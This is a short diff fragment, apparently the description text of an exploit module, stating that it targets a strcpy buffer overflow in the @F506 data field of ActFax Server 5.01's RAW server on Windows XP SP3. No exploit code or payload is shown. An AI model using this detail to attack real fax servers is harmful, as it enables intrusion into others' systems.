+					This module exploits a vulnerability in ActFax Server 5.01 RAW server. The RAW
+				Server can be used to transfer fax messages without any underlying protocols. To
+				note significant fields in the fax being transferred, like the fax number or the
+				recipient, ActFax data fields can be used. This module exploits a buffer overflow
+				in the handling of the @F506 fields due to the insecure usage of strcpy. This
+				module has been tested successfully on ActFax 5.01 over Windows XP SP3 (English).
